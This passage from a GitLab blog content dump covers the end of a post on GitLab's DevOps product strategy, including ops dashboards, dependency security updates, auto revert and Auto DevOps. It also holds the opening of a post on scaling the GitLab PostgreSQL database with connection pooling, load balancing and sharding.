keeping\ntrack of environments, and everything else. Then we added Canary Deployments in\n9.2 and code quality in 9.3. We added system monitoring with Prometheus in 9.0.\n\nWe don’t yet have what I called \"business monitoring,\" which could mean\nmonitoring revenue, or clicks, or whatever you care about; but that’s coming. We\ndon't yet have load testing, but the Prometheus team is thinking about that.\nWe don't yet have a plan for feature flags, but I think it's a really important\npart.\n\nAnd then we have this other dimension of pipelines, which is the relationship\nbetween different codebases (or projects), and in 9.3 we introduced the first\nversion of multi-project pipelines.\n\nSo we've gone from a core view of three or four boxes to where 90 percent is\ncomplete. That's pretty awesome.\n\nIt became obvious to me that we were viewing the scope with this hard line:\ndeveloper focused rather than an ops focused. For example, we’ll deploy into production,\nand we might even watch the metrics related to your code in production, but\nwe’re not going to monitor your entire production app, because that’s\noperations, and that’s clearly out of scope, right?\n\n## Where we're headed: Beyond CD\n\nWhat hit me a few months ago is, \"Why is that out of scope? That’s ridiculous.\nNo, we’re going to keep going. We're going to go past production into\noperations.\" Most of this still applies, but instead of just monitoring the\nsystem as it relates to a merge request, what about monitoring the system for\nnetwork errors, outages, or dependency problems? What if we don't stop at\nproduction, and monitor things that are typically ops related that may not\ninvolve a developer at all?\n\nThen I realized that this thing I called Beyond CD, maybe it's really [DevOps](/topics/devops/).\nMaybe the whole thing is DevOps.\n\n### The DevOps tool chain\n\nTo offer some context: DevOps is hard to define, because everybody defines it\nslightly differently. Sometimes DevOps is defined as the intersection of\ndevelopment, operations, and quality assurance.\n\n![DevOps Venn diagram](https://about.gitlab.com/images/blogimages/devops-strategy-venn-diagram.png){: .shadow}\n\n*\u003Csmall>Image by Rajiv.Pant, derived from Devops.png:, [CC BY 3.0](https://commons.wikimedia.org/w/index.php?curid=20202905)\u003C/small>*\n\nFor the most part, my personal interest in DevOps has been in that intersection.\nWe do great code management; we’ve done that for quite a while. How do we get\nthat code into production? How do we get it into QA?\n\nReview apps are a great example that fits squarely in that tiny, little triangle\nin the middle of the Venn diagram. You take your code, you deploy it, which is\nan operations thing, but you have it deployed in a temporary, ephemeral, app,\njust for QA people (or designers, product managers, or anyone who is not a\nprimary coder), so they can test your application for quality assurance, feature\nassurance, or whatever.\n\nBut now, I'm looking beyond the intersection. Here's the [DevOps tool chain\ndefinition](https://en.wikipedia.org/wiki/DevOps_toolchain) from Wikipedia:\n\n![DevOps Toolchain](https://about.gitlab.com/images/blogimages/devops-strategy-devops-toolchain.png){: .shadow}\n\n*\u003Csmall>Image by Kharnagy (Own work) [CC BY-SA 4.0](http://creativecommons.org/licenses/by-sa/4.0), via Wikimedia Commons\u003C/small>*\n\nWell, that’s everything! That’s not the intersection; that’s the union of\neverything from code, to releasing, to monitoring. And that's where things get\nconfusing. Sometimes when people talk about DevOps, they’re not talking about\nall of your code stuff. It’s the intersection parts that are the interesting\nparts of DevOps. It’s the parts where we let developers get their code into\nproduction easily. That slice, that intersection, of the Venn diagram, that’s\nthe interesting part about DevOps.\n\nHaving said that, as a product company, we are going to deliver things that are\npretty squarely on the development side, and, eventually, we’re going to deliver\nthings that are pretty squarely in the operations side. At some point, we may\nhave an operations dashboard that lets you understand your dependencies in your\nnetwork infrastructure, and your routers, and your whatever. That’s pretty far\nfetched at this point, but it could happen. Why not? Just have GitLab be\nyour one operations dashboard, and then it’s not just about the intersection of\nthe DevOps, it’s the whole DevOps tool chain.\n\nSo, that is the whirlwind, high-level summary of where we've been, and a little\nbit about where we’re going. Now let's get into specific issues.\n\n### The Ops Dashboard – [#1788](https://gitlab.com/gitlab-org/gitlab-ee/issues/1788)\n\nWe have a monitoring dashboard that's very developer centric. What about\ntaking that same content and slicing it from the operator's perspective? For a\nmoment, ignore all the stuff below, let’s just pretend there’s only the four\nboxes at the top:\n\n![Ops view of monitoring and deploy board](https://about.gitlab.com/images/blogimages/devops-strategy-monitoring-deploy-board.png){: .shadow}\n\nSo an operator might want to know, \"What’s the state of production?\" If I'm a\ndeveloper I can go into a project, into environments, see the production\nenvironment for that project, and I can see what the status is. But what if I\nwant to see all production environments? As an operations person, I care a\nlittle less about individual projects than I care about \"production.\" So this is\ngiving me the overview of \"production.\" All of these little boxes would\nrepresent production deploys of projects that you have in your GitLab\ninfrastructure.\n\nThe view is explicitly convoluted because we had just introduced sub-groups and\nI wanted to make sure this mechanism expanded. So ignore all the stuff below and\njust look at the top-level dashboards. Or maybe one level down, which is already\nstill pretty complicated, but let’s say your marketing organization had\ndifferent properties than your other developer operations; you’d be able to see\nreally quickly what the status is. If something’s red, you’d be able to click\ndown, and see details.\n\n![Ops view - service health](https://about.gitlab.com/images/blogimages/devops-strategy-service-health.png){: .shadow}\n\n![Ops view - pod health](https://about.gitlab.com/images/blogimages/devops-strategy-pod-health.png){: .shadow}\n\nYou’d be able to see graphs like this, which are similar to what we already\nprovide, but from the other angle. As a developer I’m looking at the deploy, and\nsaying, \"Oh, how did my deploy affect my performance?\" But this is saying,\n\"How’s production? Is anything wrong with my entire production suite?\"\n\nThis is really just scratching the surface of the ops views of things, but I\nthink it's going to become much more important as people embrace DevOps. You\nwant your developers to be talking the same language as your operations people.\nIn a lot of organizations, it’s already the same people – there are no separate\noperations people. Developers push code to production, and they're paged if\nsomething goes wrong. In others, developers and operators are separate, but they\nwant to work together towards DevOps.\n\nEither way, you want to be using the same tools. You want to be able to point\nto, for example, a memory bump that your operations people should also be able\nto see. But if they’re using completely different tools, like New Relic and\nDatadog, that kind of sucks. So let’s give them the same tools.\n\n### Pipeline view of environments – [#28698](https://gitlab.com/gitlab-org/gitlab-ce/issues/28698)\n\nI particularly love this proposal, and I really want to see this happen soon.\n\nThe environments page today is just a list of environments showing the last\ndeployment. The picture tells you who deployed, which is good, and you can see\nthat the commit is from the same SHA as staging, which is kind of nice. I can\nsee the deploy board, and if there's a deploy ongoing, I’m able to see the state\nas it rolls out. We don’t yet show you the current health of these pods; once\nthey're deployed, all we know is that they're deployed. This is how the\nenvironment view is today, and it's centered around deployments.\n\n![Environments list](https://about.gitlab.com/images/blogimages/devops-strategy-environments-list.png){: .shadow}\n*\u003Csmall>Current Environment view\u003C/small>*\n\nYou can click through to see the deployment history and this is actually really\nvaluable because I can see who deployed things, how long ago, and if something\nwent wrong in production I can really quickly roll back and let the developers\nhave some space to go and figure out what went wrong.\n\n![Deployment history](https://about.gitlab.com/images/blogimages/devops-strategy-deployment-history.png){: .shadow}\n*\u003Csmall>Current Deployment History view\u003C/small>*\n\nBut this proposal turns it around to have more of a DevOps view of the thing.\n\n![Pipeline view of environments](https://about.gitlab.com/images/blogimages/devops-strategy-pipeline-view-environments.png){: .shadow}\n*\u003Csmall>Proposed pipeline view of Environments\u003C/small>*\n\nThe idea is to take the same application, and instead of just looking at a list\nof environments, I’d be looking at columns with lots of review apps, and some\nnumber of staging environments, and a production environment. Instead of just\nshowing you the SHA, we would show you, for example, what merge requests have\nbeen merged into staging that are not yet in production. That’s a great\nmarriage of these two views, that you’d be able to see the diff between them.\n\nThis list, although it’s just a mockup, shows maybe the last five things that\nwere in production, or what was included in the last deploy, or whatever works\nbest for your environment. Showing what’s in the last deploy might be enough,\nbut for people who deploy 17 times a day, maybe that’s a little less useful, and\nwe just show history.\n\nBut then what about building in more of the operations kind of stuff, and\nsaying, \"Alright, what’s the state of my pods?\" Here we were flagging where the\nerror rate exceeded a threshold and there’s some alert that popped up. And here\nwe’re showing this automatic rollback kind of stuff, but basically just really\nbuilding on this ops view. Of course this is still a DevOps view, in the sense\nthat I’m looking at an individual project. So, one permutation of that would\nmarry that ops view of all of production. Or if I’m looking at a [microservices](/topics/microservices/)\nkind of thing, where there are five or 100 different projects, and I want to see\nthe status of all those really quickly. See\n[#28707](https://gitlab.com/gitlab-org/gitlab-ce/issues/28707).\n\n### Dependency security – [#28566](https://gitlab.com/gitlab-org/gitlab-ce/issues/28566)\n\nSo, here, the idea is that you've deployed something in production, and some\nmodule or something that you depend on has been updated, not by you, but by the\ncommunity, or someone else.\n\nThe easiest and most naive way to approach this is that with the next merge\nrequest, or next CI/CD run, we would go and check to see if anything’s outdated.\nAnd we might fail your CI/CD because of this.\n\nIt would make much more sense to run this stuff automatically. Even if, for\nexample, nobody pushes for seven days, and in the middle of that, there’s a\nsecurity release; just proactively run stuff and notify me. So, that's sort of a\nsecond iteration of thinking about how you would notify somebody, and tell them,\n\"Oh, you’ve got a security change. You should go in and do something about it.\"\n\nNow, the third iteration is, \"Well, what would you do with that information?\"\nYou’d go and maybe give it to your junior developer to go and make the change,\nand point to the new version. And then, of course, you need to test that it\nworks. So, you’re going to create a merge request, and then test it, to make\nsure that it still functions properly.\n\nWell, why notify somebody, and tell the junior developer to go and do this? Why\ndon’t we just do it for you? Why don’t we just go and submit the merge request\nfor you, and then tell you what the results are. And, in fact, let’s go further,\nand say, \"Hey it passed. We just deployed into production for you.\" Why would\nyou have security vulnerability in place any longer than necessary?\n\nAnd instead of having 100 alerts about 100 projects or microservices that all\nneed to get updated, you just get alerts about three of them that fail, that\nactually have some weird dependency that it didn’t work on. And then, you can\nfocus on real problems.\n\n![Dependency security](https://about.gitlab.com/images/blogimages/devops-strategy-dependency-security.png){: .shadow}\n\nSo, that’s a glimpse at how we’re thinking about this.\n\nThis would definitely be an enterprise-level feature. And again, we've fleshed\nout some ideas and it’s unscheduled, but it does really tie into the ops\nmindset.\n\n### Question: Enterprise Edition features\n\nCourtland: You mentioned that sort of automation would be an enterprise edition\nfeature. Can you talk a little bit more about why a smaller development team,\nlike under 100 developers, wouldn’t get value out of something like that?\n\nMark:\tSo, this is where things get a little tricky, because of course,\nsmaller developer teams would get value out of that too. Everybody would get\nvalue out of that. Some of it has to do with proportionality. One test I like to\nuse is: is there some other way you could achieve the same thing, using\nworkarounds, and we’re just making it easier? And that’s a good case, here. You\ncan already do this, but we’re going to automate it. And automation is something\nthat affects larger companies a lot more, because they’ve got hundreds of\nprojects, with thousands of developers. And they just can’t deal with the scale,\nor it’s worth dealing with the automation. Whereas, if you’ve got a small\ndeveloper, with a single project, you’re pretty much on top of it. And if\nsomething changes, yeah, you just go ahead and fix it; you’re aware of it. The\nbigger challenges are when you’re just not aware of how this thing might affect\none project that somebody’s almost forgotten about.\n\nThe other thing is that, just to be blunt, our concept that Enterprise Edition\nis only for more than X people, is a little flawed. It’s that it\napplies more to those companies, that those people value it more, and they’d be\nwilling to pay for it more, or however you judge your value there. Clearly,\nsmall companies would value all this automation, and everything else, but\nthey’re not going to get as much incremental value out of it, as a larger\ncompany would.\n\n~~The other way to look at it is that this is pretty advanced stuff, and frankly,\nit doesn’t deserve to be, free, open source. It’s probably really complicated\nstuff, and you’re going to have to pay there.~~ *[Editor's note: Advancedness is not a criteria in open sourcing or not open sourcing. There are advanced features that are open source, such as [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/). There are basic features that are proprietary, such as [File Locking](/solutions/file-locking/). The criteria we use to decide which version the features go in are documented on our [stewardship page](/company/stewardship/#what-features-are-paid-only).]* Maybe there’d be levels to it,\nright? There’d be a version that gives you an alert: we’ll run this test once a\nday. Or even just have a blog post about how to do this: you set up a recurring,\nscheduled pipeline job, once a day, to test if any of your dependencies have\nbeen updated. And you can do that today and then it would alert you. But to\nautomate it, to actually, create a merge request for you, and everything else?\nWell, that’s in the Enterprise feature. It’s not that version checking isn’t\nimportant for everybody, but the automation around it really, really matters for\nlarger companies. Does that make sense?\n\nCourtland:\tYeah, I mean, I think that the first way you described it, in that,\n\"Yeah, everyone gets some value out a feature like this, but the overwhelming\nvalue and use for this is in larger development teams,\" that resonated.\n\n### SLO and auto revert – [#1661](https://gitlab.com/gitlab-org/gitlab-ee/issues/1661)\n\nThis is a feature showing how we’re thinking about auto reverting something.\nWe’ve got canary deployments, and we have another feature we’re not currently\nworking on or scheduled, but it’s incremental rollout, so that you would not\njust rollout to a single canary, or a bucket of canaries, but it would slowly\nincrement: 1 percent, then 5 percent, then 25 percent. But let’s say, at some point, during my\nrollout, you detect an error.\n\n![Revert](https://about.gitlab.com/images/blogimages/devops-strategy-revert.png){: .shadow}\n\nThis a mockup of what it would look like. You’re like, \"Oh, error rates\nincreased by something above our threshold; let’s revert that one, go back, and\ncreate a new issue, and alert somebody to take a look at it.\" Lately, I’m\nthinking that I don’t know if I really want to automatically roll back, versus\njust stop it in its canary form, and say, \"Well, it’s canary. Let’s let canary\nbe there, so you can debug the canary, but just don’t let the canary go on\nfurther.\"\n\nError rate exceeding is a pretty tough one. But let’s say memory bumps up, and\nyou might be like, \"Yeah, we added something, and it’s using more memory, and\nwe’re okay with that. Don’t stop my deploy just because it’s using more memory.\"\nThere might need to be human intervention in there, but somewhere along this\nline we’re automating a lot of the deploy stuff.\n\n### Onboarding and adoption – [#32638](https://gitlab.com/gitlab-org/gitlab-ce/issues/32638)\n\nOnboarding and adoption is a really big issue, with lots of different ideas for\nhow to improve onboarding, how to get people actually using idea to production,\nimproving auto deploy. Not a lot of visuals, so I won’t really talk about it,\nbut it’s definitely one of our top priorities; the next most important thing\nwe’re working on.\n\n### Cloud development – [#32637](https://gitlab.com/gitlab-org/gitlab-ce/issues/32637)\n\nCloud development is the idea that setting up your local host machine is\nactually kind of a pain sometimes. Especially with microservices, where each\nservice can be in their own language, you don’t want to maintain Java, and Ruby,\nand Node, and all these other versions of dependencies, and every time something\nswitches, you’ve got to reinstall a new version of stuff. Or even these days,\nyou might develop on an iPad, and you don’t have a local host to compile things.\n\nCloud9 is the biggest, well known thing, from an IDE perspective, and Amazon\nbought them a little while ago. But even aside from the IDE portion of it, it’s\njust being able to develop in the cloud, and being able to make some changes,\nand then push them back; commit them to a repo.\n\nWe have a little bit of a demo like this, right now, with our web terminal. So,\nif you have Kubernetes, you see this terminal button, and it just pops up the\nterminal right in the staging server. And I can actually go ahead and edit a\nfile there, and... I just made a live change into my staging app.\n\nNow, generally speaking, I would not actually recommend you do that, because\nI’m messing with my staging app, that’s not what it's for. It makes an awesome\nlittle demo, but it’s not what you should do. What we want to do is come up with\na way that people could do that, but have it be not on your staging app, but in\nmaybe a dev environment that is specifically for this purpose. But that also,\nafter you make your changes, and test them, and run them live, you can then go\nand commit them back to [version control](/topics/version-control/), and close that loop. So there’s a whole\nbunch of issues related to that. And to be honest, it was what we were hoping\nthat Koding would have provided for us, and we have an integration\nwith them, but it hasn’t worked out, really, the way that we had hoped. And so,\nwe’re looking at alternatives, and we think we can probably do this ourselves.\n\nAnyway, that’s a big thing to flesh out.\n\n### GitLab PaaS – [#32820](https://gitlab.com/gitlab-org/gitlab-ce/issues/32820)\n\nHeroku is awesome, because it gives you this really great platform that’s easy\nto use, and gives you all this functionality on top of Amazon. Five or six years\nago it was super, brain-meltingly awesome to get people to do ops. For a\ndeveloper, I don’t have to be aware of how to do ops; Heroku just does ops\nfor us.\n\nGitLab PaaS is basically the idea that you’ve got a lot of these components, and\nwe’re not going to invent them all from scratch. We’re going to rely on\nKubernetes, for example. But on top of Kubernetes, we could make an awesome\nenvironment for ops. An ops environment, or a platform as a service. And so,\nthere’s an issue to discuss what it would take to do that. At some point in\ntime, this is a big item for us. If we can make it super really easy for you to\nfully manage your ops environment via GitLab, and maybe, for example, never\ntouch the Kubernetes dashboard; never touch any of the tools, just use the\nGitLab tools to do this. That’s pretty powerful.\n\nSort of related is an idea in the onboarding stuff, that on GitLab.com\nwe can actually provide you with a Kubernetes cluster; maybe a shared cluster. We\nhave to worry about security, of course. But imagine if you were a brand new\nuser on GitLab.com, and you push up an app, and you have nothing in there\nspecifically for GitLab, you just push up your code, and GitLab is like, \"Oh,\nthat’s a Ruby app. Okay, I know how to build Ruby apps. Oh, and I also know how\nto test Ruby apps. I’m just going to go and test them automatically for you.\"\nAnd, \"Oh, by the way, I know how to deploy this. I’m just going to go ahead and\ndeploy this to production.\" And we’ll make a\nproduction.project-name.ephemeral-gitlabapps.com, whatever the hell, some domain\nso that it’s not going to affect your actual production. But if you wanted to,\nyou would just point your DNS over to this production app, and you've got the\nproduction app running on GitLab infrastructure. And that’s, really, what Heroku\nprovided, right?\n\nBut that also is an onboarding thing for us to make it really easy. Because if\nwe want everybody to have CI, well, let’s turn it on for you. That’s pretty\nawesome. If we want everybody to have CD, we can’t just turn it on for you,\nbecause you have to have a place to deploy it to. So, if we just provided you a\nKubernetes cluster (\"everybody gets a cluster\"), then you just got a place. And,\nI mean, we’ll severely limit it. We’ll make it limited in some way, so that\nyou’re not going to run the production stuff for long there. Or if you do, you have\nto pay for it. But we’re not going to try and make money off of the production\nresources. We want to make money off of making it really easy. So, really, what\nwe want to do is encourage you to, then, go and spin up your own Kubernetes\ncluster, say, on Google. And we’ll make a nice little link that says, \"Go and\nspin up a cluster on GKE.\" We’ll make that really, really easy, but to make it\nsuper easy, for some number of days, we can just provide you that cluster,\nautomatically.\n\n### Feature flags – [#779](https://gitlab.com/gitlab-org/gitlab-ee/issues/779)\n\nFeature flags are really about decoupling delivery from deployment. It’s the\nidea that you make your code, you deploy it, but you haven’t turned it on, so\nit’s not delivered yet. And the idea there is that it means you can merge in the\nmain line, more often, because it’s not affecting anybody. And, also, it really\nhelps because you can do things like: when I do deliver, I can deliver it for\ncertain people; just GitLab employees or just the Beta group, and then I can\ncontrol that rollout. So then, if there's an error rate spike, well, it’s just\na few a people and I know who they are, and they’re going to complain to me.\nIt’s no big deal. But I can test things out, get it polished, fix the problems,\nbefore rolling it out. And then, you can also do things like, roll it out to 10 percent\nof the people, 50 percent of the people, whatever. It’s all about reducing risk, and\nimproving quality, and fundamentally about getting things into your mainline\nquicker. So, it’s ops-ish, in that sense, but it’s, really, still pretty fully\non dev.\n\n### Artifact management – [#2752](https://gitlab.com/gitlab-org/gitlab-ee/issues/2752)\n\nArtifact management has become a hot topic lately. We already have a container\nregistry for Docker image artifacts, and we also have file-based artifacts that\nyou can pass between jobs, and pass between pipelines, and even pass between\ncross project pipelines. And we have ways to download them, and browse them, but\nif those artifacts happen to be things like Maven or Ruby or node modules, and\nyou want to publish them, and then consume them in other pipelines, we don’t\nhave a formal way to do that.\n\nAnd you could, obviously, publish to the open source, RubyGems, for example. But\nif you want a private Gem, that is only consumed by your team... Maybe that's\nnot as big for Ruby developers, but Java developers do that all the time. A lot\nof Java developers use Artifactory or Sonatype Nexus. In order to complete the\nDevOps tool chain, we need to have some first class support for that, either by\nbundling in one of these other providers, or by adding layers, and APIs, on top\nof our existing artifacts. My personal pet favorite right now is, let’s say we\ncan just tag our existing artifact, and say, \"Oh, this is Maven type of\nartifact,\" and then we expose that via an API and so then you can declare that\nin another project, and it would just consume the APIs, and just know how to do\nthat. But it would also use our built-in authentication so you don’t have to set\nup creds and do all this declaration; you can be like, \"Oh, I’ve got access to\nthis project and this project, so I can get the artifacts, and I can consume it\nall really easily.\"\n\n### Auto DevOps – [#35712](https://gitlab.com/gitlab-org/gitlab-ce/issues/35712)\n\n*Note: We shipped the first iteration of Auto DevOps in [10.0](/releases/2017/09/22/gitlab-10-0-released/#auto-devops)*\n\nSo, let’s talk about Auto DevOps. This spans from the near-term to the very\nlong-term. It’s great that we do a lot of DevOps, and in a very simplistic way,\nit’s like, \"Oh, but shouldn’t we just make this stuff automatic?\" The way I\nphrase it is, we should provide the best practices in an easy and default way.\nYou can set up a GitLab CI YAML, but you have to actively go and do that. But,\nreally, every project should be running some kind of CI. So, why don’t we just\ndetect when you’ve pushed up a project; we’ll just build it, and we’ll go and\ntest it, because we know how to do testing. Today, with Auto Deploy, we already\nuse Auto Build, with build packs. We will automatically detect, I think, one of\nseven different languages, and automatically build your Java app, or Ruby, or\nNode... and we use Heroku’s build packs, actually, to do this build. And so we\nbuild that up, and when using Auto Deploy, we’ll go ahead and deploy that. You\nstill have to, obviously, have a Kubernetes cluster in order to do that, so it’s\nnot fully automated if you don’t have that. But if you’ve got Kubernetes, hey,\nthis is a literally one click. You pick from a menu, say, \"Oh, I’m on\nKubernetes,\" and then hit submit, and you’ve got Auto Deploy and Auto Build.\n\nBut one of the things we don’t have is Auto CI. And that’s a little annoying,\nbut it’s one of the things we want to pick up, and actually, hopefully our CTO,\nDmitriy, is going to pick that up in Q3; it's one of his OKRs. Heroku,\nthemselves, actually extended build packs to do testing, and so that means that\nthere’s at least five build packs that know how to test these languages. And so,\nhey, let’s use that. But even if that doesn’t work, there’s a lot of other\nthings we can do. Other companies have all this stuff automated, as well. So if\nwe can’t use Heroku CI, being able to say, \"Oh, this is this language; we know\nhow to test this language,\" we'll be making that automatic.\n\nAutomatic is multiple levels of things. Is it a wizard that configures this\nstuff for me? Is it one click checkbox, that says, \"Yes, turn on auto CI,\" or is\nit templates that I can easily add into my GitLab CI YAML? I think, in order to\nqualify as auto, what we have to do here is that it shouldn’t be templates. It\nshouldn’t be blog posts that tell me how to do it. That’s just CI. It should be,\nliterally, just \"I pushed and it worked;\" or at most a checkbox or two.\n\nLet’s go further, what other thing could we just automate here? And not automate\nstrictly for the purposes of automation, but about bringing best practices to\npeople. So, you have to actively work hard, to turn these things off. If you\ndon’t want CI, then shut it off, but by default you should have this.\n\nSo, this is a really, really long list of things that will take us forever to\nget to. The first ones have links, because we’re tracking real issues for this.\nAuto Metrics is a great one. If you’re running certain languages, you should\njust be able to, really easily, go and just pull the right information out of\nthere. But whatever, the list is huge.\n\nBut the idea is that we can build up this Auto DevOps, even the marketing term,\nand start talking about it in that way, and to not just say that GitLab is great\nfor your DevOps and is a complete DevOps tool chain. But, in fact, we do all\nthis stuff for you automatically.\n\nThere’s a lot to be done to make this fully automated. And what percentage of\nprojects can we really do? Auto Deploy is a great example that only works for\nweb apps. If it’s not a web app, we can’t just deploy it. What would it mean? We\ndeploy it, and it just wouldn’t function. If you made a command line app, what\nwould deploy even mean? Or if it’s a Maven, or really any kind of module that\nyou bundled up and released, that’s not the same thing as a deploy. So, maybe we\nneed an Auto Release. It’s not on this list, but maybe it should be. But within\nthe web app space, we can do some of this stuff automatically.\n\nSo that’s it. Everything you ever wanted to know about DevOps.\n",[676,4103,1384],{"slug":34806,"featured":6,"template":678},"devops-strategy","content:en-us:blog:devops-strategy.yml","Devops Strategy","en-us/blog/devops-strategy.yml","en-us/blog/devops-strategy",{"_path":34812,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34813,"content":34818,"config":34823,"_id":34825,"_type":16,"title":34826,"_source":17,"_file":34827,"_stem":34828,"_extension":20},"/en-us/blog/scaling-the-gitlab-database",{"title":34814,"description":34815,"ogTitle":34814,"ogDescription":34815,"noIndex":6,"ogImage":27143,"ogUrl":34816,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34816,"schema":34817},"Scaling the GitLab database","An in-depth look at the challenges faced when scaling the GitLab database and the solutions we applied to help solve the problems with our database setup.","https://about.gitlab.com/blog/scaling-the-gitlab-database","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Scaling the GitLab database\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Yorick Peterse\"}],\n        \"datePublished\": \"2017-10-02\",\n      }",{"title":34814,"description":34815,"authors":34819,"heroImage":27143,"date":34820,"body":34821,"category":734,"tags":34822},[27838],"2017-10-02","\nFor a long time GitLab.com used a single PostgreSQL database server and a single\nreplica for disaster recovery purposes. This worked reasonably well for the\nfirst few years of GitLab.com's existence, but over time we began seeing more and\nmore problems with this setup. In this article we'll take a look at what we did\nto help solve these problems for both GitLab.com and self-managed GitLab\ninstances.\n\n\u003C!-- more -->\n\nFor example, the database was under constant pressure, with CPU utilization\nhovering around 70 percent almost all the time. Not because we used all\navailable resources in the best way possible, but because we were bombarding the\nserver with too many (badly optimized) queries. We realized we needed a better\nsetup that would allow us to balance the load and make GitLab.com more resilient\nto any problems that may occur on the primary database server.\n\nWhen tackling these problems using PostgreSQL there are essentially four\ntechniques you can apply:\n\n1. Optimize your application code so the queries are more efficient (and\n   ideally use fewer resources).\n2. Use a connection pooler to reduce the number of\n   database connections (and associated resources) necessary.\n3. Balance the load across multiple database servers.\n4. Shard your database.\n\nOptimizing the application code is something we have been working on actively\nfor the past two years, but it's not a final solution. Even if you improve\nperformance, when traffic also increases you may still need to apply the other\ntwo techniques. For the sake of this article we'll skip over this particular\nsubject and instead focus on the other techniques.\n\n## Connection pooling\n\nIn PostgreSQL a connection is handled by starting an OS process which in turn\nneeds a number of resources. The more connections (and thus processes), the more\nresources your database will use. PostgreSQL also enforces a maximum number of\nconnections as defined in the [max_connections][max-connections] setting. Once\nyou hit this limit PostgreSQL will reject new connections. Such a setup can be\nillustrated using the following diagram:\n\n{: .text-center}\n![PostgreSQL Diagram](https://about.gitlab.com/images/scaling-the-gitlab-database/postgresql.svg)\n\nHere our clients connect directly to PostgreSQL, thus requiring one connection\nper client.\n\nBy pooling connections we can have multiple client-side connections reuse\nPostgreSQL connections. For example, without pooling we'd need 100 PostgreSQL\nconnections to handle 100 client connections; with connection pooling we may\nonly need 10 or so PostgreSQL connections depending on our configuration. This\nmeans our connection diagram will instead look something like the following:\n\n{: .text-center}\n![Connection Pooling Diagram](https://about.gitlab.com/images/scaling-the-gitlab-database/pooler.svg)\n\nHere we show an example where four clients connect to pgbouncer but instead of\nusing four PostgreSQL connections we only need two of them.\n\nFor PostgreSQL there are two connection poolers that are most commonly used:\n\n* [pgbouncer][pgbouncer]\n* [pgpool-II][pgpool]\n\npgpool is a bit special because it does much more than just connection pooling:\nit has a built-in query caching mechanism, can balance load across multiple\ndatabases, manage replication, and more.\n\nOn the other hand pgbouncer is much simpler: all it does is connection pooling.\n\n## Database load balancing\n\nLoad balancing on the database level is typically done by making use of\nPostgreSQL's \"[hot standby][hot-standby]\" feature. A hot-standby is a PostgreSQL\nreplica that allows you to run read-only SQL queries, contrary to a regular\nstandby that does not allow any SQL queries to be executed. To balance load\nyou'd set up one or more hot-standby servers and somehow balance read-only\nqueries across these hosts while sending all other operations to the primary.\nScaling such a setup is fairly easy: simply add more hot-standby servers (if\nnecessary) as your read-only traffic increases.\n\nAnother benefit of this approach is having a more resilient database cluster.\nWeb requests that only use a secondary can continue to operate even if the\nprimary server is experiencing issues; though of course you may still run into\nerrors should those requests end up using the primary.\n\nThis approach however can be quite difficult to implement. For example, explicit\ntransactions must be executed on the primary since they may contain writes.\nFurthermore, after a write we want to continue using the primary for a little\nwhile because the changes may not yet be available on the hot-standby servers\nwhen using asynchronous replication.\n\n## Sharding\n\nSharding is the act of horizontally partitioning your data. This means that data\nresides on specific servers and is retrieved using a shard key. For example, you\nmay partition data per project and use the project ID as the shard key. Sharding\na database is interesting when you have a very high write load (as there's no\nother easy way of balancing writes other than perhaps a multi-master setup), or\nwhen you have _a lot_ of data and you can no longer store it in a conventional\nmanner (e.g. you simply can't fit it all on a single disk).\n\nUnfortunately the process of setting up a sharded database is a massive\nundertaking, even when using software such as [Citus][citus]. Not only do you\nneed to set up the infrastructure (which varies in complexity depending on\nwhether you run it yourself or use a hosted solution), but you also need to\nadjust large portions of your application to support sharding.\n\n### Cases against sharding\n\nOn GitLab.com the write load is typically very low, with most of the database\nqueries being read-only queries. In very exceptional cases we may spike to 1500\ntuple writes per second, but most of the time we barely make it past 200 tuple\nwrites per second. On the other hand we can easily read up to 10 million tuples\nper second on any given secondary.\n\nStorage-wise, we also don't use that much data: only about 800 GB. A large\nportion of this data is data that is being migrated in the background. Once\nthose migrations are done we expect our database to shrink in size quite a bit.\n\nThen there's the amount of work required to adjust the application so all\nqueries use the right shard keys. While quite a few of our queries usually\ninclude a project ID which we could use as a shard key, there are also many\nqueries where this isn't the case. Sharding would also affect the process of\ncontributing changes to GitLab as every contributor would now have to make sure\na shard key is present in their queries.\n\nFinally, there is the infrastructure that's necessary to make all of this work.\nServers have to be set up, monitoring has to be added, engineers have to be\ntrained so they are familiar with this new setup, the list goes on. While hosted\nsolutions may remove the need for managing your own servers it doesn't solve all\nproblems. Engineers still have to be trained and (most likely very expensive)\nbills have to be paid. At GitLab we also highly prefer to ship the tools we need\nso the community can make use of them. This means that if we were going to shard\nthe database we'd have to ship it (or at least parts of it) in our Omnibus\npackages. The only way you can make sure something you ship works is by running\nit yourself, meaning we wouldn't be able to use a hosted solution.\n\nUltimately we decided against sharding the database because we felt it was an\nexpensive, time-consuming, and complex solution to a problem we do not have.\n\n## Connection pooling for GitLab\n\nFor connection pooling we had two main requirements:\n\n1. It has to work well (obviously).\n2. It has to be easy to ship in our Omnibus packages so our users can also take\n   advantage of the connection pooler.\n\nReviewing the two solutions (pgpool and pgbouncer) was done in two steps:\n\n1. Perform various technical tests (does it work, how easy is it to configure,\n   etc).\n2. Find out what the experiences are of other users of the solution, what\n   problems they ran into and how they dealt with them, etc.\n\npgpool was the first solution we looked into, mostly because it seemed quite\nattractive based on all the features it offered. Some of the data from our tests\ncan be found in [this][pgpool-comment-data] comment.\n\nUltimately we decided against using pgpool based on a number of factors. For\nexample, pgpool does not support sticky connections. This is problematic when\nperforming a write and (trying to) display the results right away. Imagine\ncreating an issue and being redirected to the page, only to run into an HTTP 404\nerror because the server used for any read-only queries did not yet have the\ndata. One way to work around this would be to use synchronous replication, but\nthis brings many other problems to the table; problems we prefer to avoid.\n\nAnother problem is that pgpool's load balancing logic is decoupled from your\napplication and operates by parsing SQL queries and sending them to the right\nserver. Because this happens outside of your application you have very little\ncontrol over which query runs where. This may actually be beneficial to some\nbecause you don't need additional application logic, but it also prevents you\nfrom adjusting the routing logic if necessary.\n\nConfiguring pgpool also proved quite difficult due to the sheer number of\nconfiguration options. Perhaps the final nail in the coffin was the feedback we\ngot on pgpool from those having used it in the past. The feedback we received\nregarding pgpool was usually negative, though not very detailed in most cases.\nWhile most of the complaints appeared to be related to earlier versions of\npgpool it still made us doubt if using it was the right choice.\n\nThe feedback combined with the issues described above ultimately led to us\ndeciding against using pgpool and using pgbouncer instead. We performed a\nsimilar set of tests with pgbouncer and were very 